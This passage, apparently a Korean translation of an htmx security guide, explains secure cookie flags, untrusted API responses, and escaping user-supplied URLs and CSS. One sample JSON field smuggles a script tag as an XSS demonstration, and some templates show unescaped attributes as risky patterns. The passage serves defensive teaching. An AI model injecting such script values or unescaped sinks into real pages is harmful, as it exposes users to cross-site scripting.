์‚ฌ์šฉ์ž ์ƒ์„ฑ ํ…์ŠคํŠธ๋ฅผ ์Šคํฌ๋ฆฝํŠธ ํƒœ๊ทธ์— ์ง์ ‘ ์‚ฝ์ž…ํ•˜๋Š” ๊ฒƒ์€ ์ ˆ๋Œ€ ํ•„์š”ํ•˜์ง€ ์•Š์ง€๋งŒ, ์‚ฌ์šฉ์ž๊ฐ€ CSS๋ฅผ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•ํ•˜๊ฑฐ๋‚˜ HTML ์†์„ฑ์„ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•ํ•˜๋„๋ก ํ—ˆ์šฉํ•ด์•ผ ํ•  ์ƒํ™ฉ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ž‘์—…์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด์„œ๋Š” ์•„๋ž˜์—์„œ ๋‹ค๋ฃจ๊ฒ ์Šต๋‹ˆ๋‹ค.

#์ฟ ํ‚ค ๋ณด์•ˆ ์„ค์ •

htmx์—์„œ ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฐ€์žฅ ์ข‹์€ ๋ฐฉ๋ฒ•์€ ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. htmx๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ฒซ ๋ฒˆ์งธ HTML API๋ฅผ ํ†ตํ•œ ์ƒํ˜ธ์ž‘์šฉ์„ ๊ถŒ์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ธŒ๋ผ์šฐ์ €์˜ ์ตœ์ƒ์˜ ์ฟ ํ‚ค ๋ณด์•ˆ ๊ธฐ๋Šฅ์„ ํ™œ์„ฑํ™”ํ•˜๋Š” ๊ฒƒ์ด ๋Œ€๊ฐœ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ํŠนํžˆ ๋‹ค์Œ ์„ธ ๊ฐ€์ง€๋ฅผ ํ™œ์„ฑํ™”ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

์ด ์„ค์ •๋“ค์ด ๋ฌด์—‡์„ ๋ฐฉ์–ดํ•˜๋Š”์ง€ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด, ์ฟ ํ‚ค์˜ ๊ธฐ๋ณธ ์‚ฌํ•ญ์„ ์‚ดํŽด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. JavaScript SPA์—์„œ ์ฃผ๋กœ Authorization ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ธ์ฆํ•˜๋Š” ๊ฒฝ์šฐ, ์ฟ ํ‚ค๊ฐ€ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ์ต์ˆ™ํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹คํ–‰ํžˆ๋„ ์ฟ ํ‚ค๋Š” ๋งค์šฐ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. (์ฐธ๊ณ : ์ด๊ฒƒ์€ htmx์—์„œ์˜ ์ธ์ฆ์— ๋Œ€ํ•œ ํŠœํ† ๋ฆฌ์–ผ์ด ์•„๋‹ˆ๋ผ, ์ฟ ํ‚ค ํ† ํฐ์— ๋Œ€ํ•œ ์ผ๋ฐ˜์ ์ธ ๊ฐœ์š”์ž…๋‹ˆ๋‹ค)

์‚ฌ์šฉ์ž๊ฐ€ <form>์„ ํ†ตํ•ด ๋กœ๊ทธ์ธํ•˜๋ฉด, ๋ธŒ๋ผ์šฐ์ €๋Š” ์„œ๋ฒ„์— HTTP ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ , ์„œ๋ฒ„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982

[HTML content]

์ด ํ† ํฐ์€ ์‚ฌ์šฉ์ž์˜ ํ˜„์žฌ ๋กœ๊ทธ์ธ ์„ธ์…˜์— ํ•ด๋‹นํ•˜๋ฉฐ, ์ดํ›„ ํ•ด๋‹น ์‚ฌ์šฉ์ž๊ฐ€ yourdomain.com์˜ ๋ชจ๋“  ๊ฒฝ๋กœ์— ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ๋งˆ๋‹ค ๋ธŒ๋ผ์šฐ์ €๋Š” Set-Cookie์—์„œ ๋ฐ›์€ ์ด ์ฟ ํ‚ค๋ฅผ HTTP ์š”์ฒญ์— ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

GET /users HTTP/1.1
Host: yourdomain.com
Cookie: token=asd8234nsdfp982

์‚ฌ์šฉ์ž๊ฐ€ ์„œ๋ฒ„์— ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ๋งˆ๋‹ค, ์„œ๋ฒ„๋Š” ์ด ํ† ํฐ์„ ํŒŒ์‹ฑํ•˜๊ณ  ์œ ํšจํ•œ์ง€ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ„๋‹จํ•˜์ฃ .

๋˜ํ•œ, ์œ„์—์„œ ๊ถŒ์žฅํ•œ ์˜ต์…˜์„ ํฌํ•จํ•˜์—ฌ ์ฟ ํ‚ค์— ์˜ต์…˜์„ ์„ค์ •ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋ž˜๋ฐ ์–ธ์–ด์— ๋”ฐ๋ผ ์„ค์ • ๋ฐฉ๋ฒ•์€ ๋‹ค๋ฅด์ง€๋งŒ, ๊ฒฐ๊ณผ์ ์œผ๋กœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€ HTTP ์‘๋‹ต์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค:

HTTP/2.0 200 OK
Content-Type: text/html
Set-Cookie: token=asd8234nsdfp982; Secure; HttpOnly; SameSite=Lax

[HTML content]

๊ทธ๋ ‡๋‹ค๋ฉด ์ด ์˜ต์…˜๋“ค์€ ๋ฌด์—‡์„ ํ•˜๋Š” ๊ฑธ๊นŒ์š”?

์ฒซ ๋ฒˆ์งธ, Secure๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ HTTP ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜์ง€ ์•Š๊ณ , ์˜ค์ง ์•ˆ์ „ํ•œ HTTPS ์—ฐ๊ฒฐ์„ ํ†ตํ•ด์„œ๋งŒ ์ „์†กํ•˜๋„๋ก ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ํ† ํฐ๊ณผ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋Š” ์ ˆ๋Œ€ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ „์†ก๋˜์ง€ ์•Š์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋‘ ๋ฒˆ์งธ ์˜ต์…˜์ธ HttpOnly๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ฟ ํ‚ค๋ฅผ JavaScript์— ๋…ธ์ถœํ•˜์ง€ ์•Š๋„๋ก ํ•ฉ๋‹ˆ๋‹ค(document.cookie์—์„œ ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋„๋ก ํ•จ). ์•ž์„œ ์–ธ๊ธ‰ํ•œ evilwebsite.com ์˜ˆ์‹œ์™€ ๊ฐ™์ด, ๋ˆ„๊ตฐ๊ฐ€ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•˜๋”๋ผ๋„, ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋Š” ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•˜๊ฑฐ๋‚˜ ์ด๋ฅผ evilwebsite.com์œผ๋กœ ์ „์†กํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋Š” ์ฟ ํ‚ค๋ฅผ ํ•ด๋‹น ์ฟ ํ‚ค๊ฐ€ ๋ฐœ๊ธ‰๋œ ์›น์‚ฌ์ดํŠธ์— ๋Œ€ํ•œ ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ๋งŒ ์ฒจ๋ถ€ํ•ฉ๋‹ˆ๋‹ค.

๋งˆ์ง€๋ง‰์œผ๋กœ, SameSite=Lax๋Š” ํฌ๋กœ์Šค ์‚ฌ์ดํŠธ ์š”์ฒญ ์œ„์กฐ(CSRF) ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. CSRF ๊ณต๊ฒฉ์€ ๊ณต๊ฒฉ์ž๊ฐ€ ํด๋ผ์ด์–ธํŠธ์˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ yourdomain.com ์„œ๋ฒ„๋กœ ์•…์˜์ ์ธ ์š”์ฒญ(์˜ˆ: POST ์š”์ฒญ)์„ ๋ณด๋‚ด๋„๋ก ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. SameSite=Lax ์„ค์ •์€ ์š”์ฒญ์„ ๋ณด๋‚ธ ์‚ฌ์ดํŠธ๊ฐ€ yourdomain.com์ด ์•„๋‹Œ ๊ฒฝ์šฐ, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ yourdomain.com ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜์ง€ ์•Š๋„๋ก ์ง€์‹œํ•ฉ๋‹ˆ๋‹ค(๋‹จ์ˆœํ•œ <a> ๋งํฌ๋ฅผ ํ†ตํ•ด ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๋Š” ๊ฒฝ์šฐ๋Š” ์ œ์™ธ). ์ด๋Š” ๋Œ€๋ถ€๋ถ„์˜ ๋ธŒ๋ผ์šฐ์ €์˜ ๊ธฐ๋ณธ ๋™์ž‘์ด์ง€๋งŒ, ์—ฌ์ „ํžˆ ์ง์ ‘ ์„ค์ •ํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค.

2024๋…„์—๋Š” SameSite=Lax ์„ค์ •์ด CSRF๋ฅผ ๋ฐฉ์–ดํ•˜๊ธฐ์— ์ถฉ๋ถ„ํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์ง€๋งŒ, ๋” ๋ฏผ๊ฐํ•˜๊ฑฐ๋‚˜ ๋ณต์žกํ•œ ์ƒํ™ฉ์—์„œ๋Š” ์ถ”๊ฐ€์ ์ธ ์™„ํ™”์ฑ…์„ ๊ณ ๋ คํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

์ค‘์š”ํ•œ ์ฐธ๊ณ  ์‚ฌํ•ญ: SameSite=Lax๋Š” ๋„๋ฉ”์ธ ์ˆ˜์ค€์—์„œ๋งŒ ๋ณดํ˜ธํ•˜๋ฉฐ, ํ•˜์œ„ ๋„๋ฉ”์ธ ์ˆ˜์ค€(์˜ˆ: yourdomain.com, yoursite.github.io)์—์„œ๋Š” ๋ณดํ˜ธํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•  ๋•Œ๋Š” ํ•ญ์ƒ ํ”„๋กœ๋•์…˜์—์„œ ์ž์ฒด ๋„๋ฉ”์ธ์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๋•Œ๋กœ๋Š” ๊ณต์šฉ ์ ‘๋ฏธ์‚ฌ ๋ชฉ๋ก(Public Suffixes List)์ด ๋ณดํ˜ธํ•ด ์ค„ ์ˆ˜ ์žˆ์ง€๋งŒ, ์ด์— ์˜์กดํ•ด์„œ๋Š” ์•ˆ ๋ฉ๋‹ˆ๋‹ค.

#๊ทœ์น™์„ ๊นจ๋Š” ๊ฒฝ์šฐ

์šฐ๋ฆฌ๋Š” ๊ฐ€์žฅ ์‰ฝ๊ณ  ์•ˆ์ „ํ•œ ๊ด€ํ–‰๋ถ€ํ„ฐ ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์‹ค์ˆ˜๋กœ ์ธํ•ด ์‚ฌ์šฉ์ž ๊ฒฝํ—˜์ด ์†์ƒ๋˜๋Š” ๊ฒฝ์šฐ, ๋ฐ์ดํ„ฐ๋ฅผ ๋„๋‚œ๋‹นํ•˜๋Š” ๊ฒƒ๋ณด๋‹ค ํ›จ์”ฌ ์‰ฝ๊ฒŒ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ถ€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋” ๋ณต์žกํ•œ ๊ธฐ๋Šฅ์„ ์š”๊ตฌํ•˜๋ฉฐ, ๋” ๋งŽ์€ ์‚ฌ์šฉ์ž ์ปค์Šคํ„ฐ๋งˆ์ด์ง•์„ ํ•„์š”๋กœ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ๋” ๋ณต์žกํ•œ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ทœ์น™์„ ๊นจ์•ผ ํ•œ๋‹ค๋ฉด, ๊ทธ๊ฒƒ์ด ์ •๋ง๋กœ ํ•„์š”ํ•˜๋‹ค๋Š” ๊ฒƒ๊ณผ ๋Œ€์ฒด ์ˆ˜๋‹จ์œผ๋กœ ๊ตฌํ˜„ํ•  ์ˆ˜ ์—†๋‹ค๋Š” ๊ฒƒ์„ ํ™•์‹ ํ•œ ํ›„์—๋งŒ ๊ทธ๋ ‡๊ฒŒ ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

#์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” API ํ˜ธ์ถœ

์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” HTML API๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ์€ ๋ฏธ์นœ ์ง“์ž…๋‹ˆ๋‹ค. ์ ˆ๋Œ€ ๊ทธ๋ ‡๊ฒŒ ํ•˜์ง€ ๋งˆ์„ธ์š”.

๋‹ค๋ฅธ ๊ฒฝ์šฐ์—๋Š” ํด๋ผ์ด์–ธํŠธ์—์„œ ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ JSON API๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์‹ถ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. JSON์€ ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์—†์œผ๋ฏ€๋กœ ๊ดœ์ฐฎ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ, ๋ฐ์ดํ„ฐ๋ฅผ HTML๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ์œ„ํ•ด ๋ฌด์–ธ๊ฐ€๋ฅผ ํ•ด์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋•Œ htmx๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ๋ง๊ณ , fetch์™€ JSON.parse()๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” API๊ฐ€ HTML ๋Œ€์‹  JSON์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด, JSON.parse()๋Š” ๋‹จ์ˆœํžˆ ์•ˆ์ „ํ•˜๊ฒŒ ์‹คํŒจํ•ฉ๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ํŒŒ์‹ฑํ•œ JSON์— HTML๋กœ ํฌ๋งท๋œ ์†์„ฑ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

{ "name": "<script>alert('ํ•˜ํ•˜ํ•˜, ๋‚˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋‹ค')</script>" }

๋”ฐ๋ผ์„œ JSON ๊ฐ’์„ HTML๋กœ ์‚ฝ์ž…ํ•˜์ง€ ๋ง๊ณ , textContent๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์ด๋Š” htmx๊ฐ€ ์ œ์–ดํ•˜๋Š” UI ๋ฒ”์œ„๋ฅผ ๋ฒ—์–ด๋‚˜๋Š” ๊ฒƒ์ด์ง€๋งŒ ์ค‘์š”ํ•œ ์ ์ž…๋‹ˆ๋‹ค.

htmx 2.0 ๋ฒ„์ „์—์„œ๋Š” ๋‹ค๋ฅธ ์‚ฌ๋žŒ์˜ API๋ฅผ ํด๋ผ์ด์–ธํŠธ์—์„œ ์ง์ ‘ ํ˜ธ์ถœํ•˜๊ณ  ํ•ด๋‹น ํ…์ŠคํŠธ๋ฅผ ํŽ˜์ด์ง€์— ๋„ฃ์„ ์ˆ˜ ์žˆ๋„๋ก textContent ๊ต์ฒด ๊ธฐ๋Šฅ์„ ํฌํ•จํ•  ์˜ˆ์ •์ž…๋‹ˆ๋‹ค.

#์‚ฌ์šฉ์ž ์ •์˜ HTML ์ปจํŠธ๋กค

์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” HTML ๊ฒฝ๋กœ๋ฅผ ํ˜ธ์ถœํ•˜๋Š” ๊ฒƒ๊ณผ ๋‹ฌ๋ฆฌ, ๋™์ ์œผ๋กœ HTML ํ˜•์‹์˜ ์ฝ˜ํ…์ธ ๋ฅผ ์‚ฌ์šฉ์ž๊ฐ€ ๋งŒ๋“ค๋„๋ก ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์—๋Š” ๋งŽ์€ ์ข‹์€ ์ด์œ ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฏธ์ง€๋ฅผ ๋งํฌํ•˜๋„๋ก ํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด ์–ด๋–ป๊ฒŒ ํ• ๊นŒ์š”?

<img src="{{ user.fav_img }}">

๋˜๋Š” ๊ฐœ์ธ ์›น์‚ฌ์ดํŠธ๋กœ ์—ฐ๊ฒฐํ•˜๋Š” ๋งํฌ๋ฅผ ๋งŒ๋“ค๊ณ  ์‹ถ๋‹ค๋ฉด?

<a href="{{ user.fav_link }}">

๊ธฐ๋ณธ์ ์œผ๋กœ โ€œ๋ชจ๋“  ๊ฒƒ์„ ์ด์Šค์ผ€์ดํ”„โ€œํ•˜๋Š” ์ ‘๊ทผ ๋ฐฉ์‹์€ ์Šฌ๋ž˜์‹œ(/)๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์ถœํ•œ URL์„ ๋ง๊ฐ€๋œจ๋ฆด ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๋ฅผ ํ•ด๊ฒฐํ•˜๋Š” ๋ช‡ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฐ€์žฅ ๊ฐ„๋‹จํ•˜๊ณ  ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ•์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋Ÿฌํ•œ ๊ฐ’์„ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋˜, ์‹ค์ œ ํ…์ŠคํŠธ๋ฅผ ์ •์˜ํ•˜์ง€ ๋ชปํ•˜๋„๋ก ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋ฏธ์ง€ ์˜ˆ์ œ์—์„œ๋Š” ์ด๋ฏธ์ง€๋ฅผ ์ž์ฒด ์„œ๋ฒ„(๋˜๋Š” S3 ๋ฒ„ํ‚ท ๋“ฑ)์— ์—…๋กœ๋“œํ•˜๊ณ , ๋งํฌ๋ฅผ ์ง์ ‘ ์ƒ์„ฑํ•œ ํ›„ ์ด๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜์ง€ ์•Š๊ณ  ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Nunjucks์—์„œ๋Š” safe ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

<img src="{{ user.fav_img_s3_url | safe }}">

๋„ค, ์ด์Šค์ผ€์ดํ”„๋˜์ง€ ์•Š์€ ์ฝ˜ํ…์ธ ๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์ง€๋งŒ, ์ด๋Š” ์—ฌ๋Ÿฌ๋ถ„์ด ์ƒ์„ฑํ•œ ๋งํฌ์ด๋ฏ€๋กœ ์•ˆ์ „ํ•˜๋‹ค๊ณ  ํ™•์‹ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž ์ •์˜ CSS๋„ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž๊ฐ€ ์ƒ‰์ƒ์„ ์ง์ ‘ ์ง€์ •ํ•˜๋Š” ๋Œ€์‹ , ์ œํ•œ๋œ ์„ ํƒ์ง€๋ฅผ ์ œ๊ณตํ•˜๊ณ  ๊ทธ๋“ค์˜ ์ž…๋ ฅ์— ๋”ฐ๋ผ ์„ ํƒ์ง€๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

{% if user.favorite_color === 'red' %}
h1 { color: 'red'; }
{% else %}
h1 { color: 'blue'; }
{% endif %}

์ด ์˜ˆ์—์„œ ์‚ฌ์šฉ์ž๋Š” favorite_color์„ ์›ํ•˜๋Š” ๋Œ€๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ๊ฒฐ๊ตญ ๋นจ๊ฐ„์ƒ‰์ด๋‚˜ ํŒŒ๋ž€์ƒ‰์œผ๋กœ๋งŒ ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. ์ข€ ๋” ๋ณต์žกํ•œ ์˜ˆ๋กœ๋Š” ์ •๊ทœ์‹์„ ์‚ฌ์šฉํ•˜์—ฌ ์ ์ ˆํ•œ ํ˜•์‹์˜ ํ—ฅ์Šค ์ฝ”๋“œ๋ฅผ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” ๊ฒƒ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฐ ์•„์ด๋””์–ด์ž…๋‹ˆ๋‹ค.

์–ด๋–ค ์ข…๋ฅ˜์˜ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•์„ ์ง€์›ํ•˜๋Š๋ƒ์— ๋”ฐ๋ผ, ์ด๋ฅผ ๋ณด์•ˆํ•˜๋Š” ๊ฒƒ์ด ์ƒ๋Œ€์ ์œผ๋กœ ์‰ฌ์šธ ์ˆ˜๋„ ์žˆ๊ณ , ๋งค์šฐ ์–ด๋ ค์šธ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ ์†์„ฑ์€ โ€œ์•ˆ์ „ํ•œ ์‹ฑํฌ(safe sinks)โ€๋กœ ๊ฐ„์ฃผ๋˜๋ฉฐ, ์ด๋“ค์˜ ๊ฐ’์€ ์ฝ”๋“œ๋กœ ํ•ด์„๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ ๋น„๊ต์  ์‰ฝ๊ฒŒ ๋ณด์•ˆํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ โ€œ์œ„ํ—˜ํ•œ ์ปจํ…์ŠคํŠธโ€์— ๋™์  ์ž…๋ ฅ์„ ํฌํ•จํ•˜๋ ค๋Š” ๊ฒฝ์šฐ, ํ•ด๋‹น ์ปจํ…์ŠคํŠธ์˜ ์œ„ํ—˜ํ•œ ๋ถ€๋ถ„์ด ๋ฌด์—‡์ธ์ง€ ์—ฐ๊ตฌํ•˜๊ณ , ๊ทธ ์ข…๋ฅ˜์˜ ์ž…๋ ฅ์ด ๋ฌธ์„œ์— ๋“ค์–ด๊ฐ€์ง€ ์•Š๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์˜์˜ ์›น์‚ฌ์ดํŠธ๋‚˜ ์ด๋ฏธ์ง€๋กœ ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋ ค๋ฉด, ์ด๋Š” ํ›จ์”ฌ ๋” ๋ณต์žกํ•ด์ง‘๋‹ˆ๋‹ค. ๋จผ์ € ์†์„ฑ์„ ๋”ฐ์˜ดํ‘œ ์•ˆ์— ๋„ฃ๋„๋ก ํ•˜์„ธ์š”(๋Œ€๋ถ€๋ถ„์˜ ์‚ฌ๋žŒ๋“ค์€ ์–ด์จŒ๋“  ์ด๋ ‡๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค). ๊ทธ๋Ÿฐ ๋‹ค์Œ, ์Šฌ๋ž˜์‹œ(๋ฐ ๊ฒฝ์šฐ์— ๋”ฐ๋ผ ์•ฐํผ์ƒŒ๋“œ)๋ฅผ ์ œ์™ธํ•œ ๋ชจ๋“  ๊ฒƒ์„ ์ด์Šค์ผ€์ดํ”„ํ•˜๋Š” ์‚ฌ์šฉ์ž ์ •์˜ ์ด์Šค์ผ€์ดํ”„ ํ•จ์ˆ˜๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ๋งํฌ๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ž‘๋™ํ•˜๋„๋ก ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋Ÿฌ๋‚˜ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ˆ˜ํ–‰ํ•˜๋”๋ผ๋„ ์ƒˆ๋กœ์šด ๋ณด์•ˆ ๋ฌธ์ œ๋ฅผ ๋„์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ๊ทธ ์ด๋ฏธ์ง€ ๋งํฌ๋Š” ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์„ ๋‹ค๋ฅธ ์„œ๋ฒ„์—์„œ ์ง์ ‘ ์ˆ˜์‹ ํ•˜๋ฏ€๋กœ ์‚ฌ์šฉ์ž๋ฅผ ์ถ”์ ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ๊ดœ์ฐฎ๋‹ค๊ณ  ์ƒ๊ฐํ•  ์ˆ˜๋„ ์žˆ๊ณ , ๋‹ค๋ฅธ ์™„ํ™” ์กฐ์น˜๋ฅผ ํฌํ•จํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ค‘์š”ํ•œ ์ ์€ ์ด๋Ÿฌํ•œ ์ˆ˜์ค€์˜ ์ปค์Šคํ„ฐ๋งˆ์ด์ง•์„ ๋„์ž…ํ•˜๋ฉด ๋” ์–ด๋ ค์šด ๋ณด์•ˆ ๋ชจ๋ธ์ด ํ•„์š”ํ•˜๋‹ค๋Š” ์ ์„ ์ธ์‹ํ•˜๊ณ , ์ด๋ฅผ ์—ฐ๊ตฌํ•˜๊ณ  ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋ ฅ์ด ์—†๋‹ค๋ฉด ํ•˜์ง€ ๋ง์•„์•ผ ํ•œ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

#๋น„์ฟ ํ‚ค ์ธ์ฆ

